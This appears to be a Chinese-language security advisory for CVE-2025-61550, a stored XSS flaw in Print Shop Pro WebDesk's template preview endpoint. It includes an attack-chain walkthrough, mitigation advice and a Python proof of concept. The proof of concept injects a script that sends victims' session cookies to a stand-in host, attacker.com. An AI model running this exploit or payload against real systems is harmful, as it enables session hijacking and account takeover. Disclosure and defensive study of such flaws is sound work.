IPBUF安全漏洞报告
English
CVE-2025-61550 CVSS 5.4 中危

CVE-2025-61550 Print Shop Pro WebDesk 存储型XSS漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-61550
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
edu Business Solutions Print Shop Pro WebDesk

相关标签

存储型XSSCVE-2025-61550Print Shop Pro WebDeskedu Business Solutions跨站脚本攻击Web应用安全会话劫持ASP.NET

漏洞概述

CVE-2025-61550是edu Business Solutions公司开发的Print Shop Pro WebDesk应用程序中存在的存储型跨站脚本攻击(Stored XSS)漏洞。该漏洞影响18.34版本,在19.69版本中得到修复。漏洞位于应用程序的模板预览功能中,具体存在于/p/sp/appNet/TemplateOrder/TemplatePreview.aspx端点的ctl00_Content01_fieldValue参数。用户提交的输入数据被持久化存储在服务器端,随后在HTML页面中渲染时未经过适当的输出编码或安全过滤处理。攻击者可以利用此漏洞向应用程序注入任意JavaScript代码,这些恶意代码将永久存储在系统中。当其他用户访问包含恶意脚本的页面时,攻击者的JavaScript代码会在受害者用户的浏览器上下文中执行,从而窃取会话Cookie、劫持用户账户、修改页面内容或进行其他恶意操作。由于攻击代码存储在服务器端,攻击无需每次都诱使受害者访问特定URL,危害具有持久性和广泛性。该漏洞需要认证后的低权限用户即可利用,且需要用户交互才能触发,这降低了漏洞的利用难度但仍构成严重安全风险。

技术细节

该漏洞是一种典型的存储型跨站脚本(Stored XSS)漏洞,存在于Print Shop Pro WebDesk的模板预览功能模块中。漏洞的技术原理如下:应用程序在处理用户通过ctl00_Content01_fieldValue参数提交的输入时,未对特殊HTML字符进行适当转义或过滤,直接将用户输入存储到数据库。当其他用户请求查看包含该数据的页面时,服务器从数据库检索数据并将其嵌入到HTML响应中返回给客户端浏览器。由于数据直接插入到HTML文档而未经过htmlspecialchars()或类似函数的编码处理,浏览器会将用户输入的JavaScript代码作为有效的脚本执行。攻击者只需在fieldValue参数中注入如<script>alert(document.cookie)</script>的恶意代码,系统会保存此 payload。当管理员或普通用户访问模板预览页面时,注入的脚本会在其浏览器中执行,导致会话cookie被盗或其他恶意操作。攻击者可利用此漏洞绕过同源策略限制,访问受害者的敏感信息或以受害者身份执行操作。漏洞的利用条件包括:攻击者需拥有有效账户(低权限即可)、需访问模板预览功能、需诱使其他用户访问包含恶意数据的页面。

攻击链分析

STEP 1
步骤1
攻击者使用低权限账户登录Print Shop Pro WebDesk系统
STEP 2
步骤2
攻击者构造恶意XSS payload(如<script>标签或事件处理器)
STEP 3
步骤3
攻击者通过POST请求向/p/sp/appNet/TemplateOrder/TemplatePreview.aspx端点的ctl00_Content01_fieldValue参数提交恶意代码
STEP 4
步骤4
服务器将恶意输入未经过滤地存储到数据库中
STEP 5
步骤5
当其他用户(如管理员)访问模板预览页面时,服务器从数据库检索数据并嵌入到HTML响应中
STEP 6
步骤6
受害者浏览器解析HTML响应时,将恶意JavaScript代码作为有效脚本执行
STEP 7
步骤7
攻击者通过JavaScript代码窃取受害者Cookie、会话令牌或其他敏感信息
STEP 8
步骤8
攻击者利用窃取的凭证劫持受害者账户,执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-61550 Stored XSS PoC # Target: Print Shop Pro WebDesk < 19.69 # Endpoint: /p/sp/appNet/TemplateOrder/TemplatePreview.aspx # Parameter: ctl00_Content01_fieldValue TARGET_URL = "http://target-server.com/p/sp/appNet/TemplateOrder/TemplatePreview.aspx" LOGIN_URL = "http://target-server.com/p/sp/appNet/Login.aspx" # Malicious XSS payload - Cookie theft XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def login(session, username, password): """Authenticate to the application""" login_data = { 'username': username, 'password': password } response = session.post(LOGIN_URL, data=login_data) return 'Login' not in response.url or response.status_code == 200 def inject_xss(session): """Inject XSS payload via fieldValue parameter""" exploit_data = { 'ctl00_Content01_fieldValue': XSS_PAYLOAD, 'ctl00$Content01$btnSubmit': 'Submit' } response = session.post(TARGET_URL, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[+] Payload will execute when users view TemplatePreview.aspx") return True else: print("[-] Injection failed") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() if login(session, username, password): inject_xss(session) else: print("[-] Authentication failed")

影响范围

Print Shop Pro WebDesk 18.34及更早版本

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)限制模板预览功能的访问权限,仅允许受信任的管理员使用;2)在Web应用防火墙(WAF)层面配置XSS过滤规则,对ctl00_Content01_fieldValue参数进行检测和拦截;3)禁用应用程序中的内联脚本执行,配置严格的Content-Security-Policy策略;4)监控应用程序日志,检测异常的script标签或JavaScript事件处理器输入模式;5)考虑暂时禁用模板预览功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表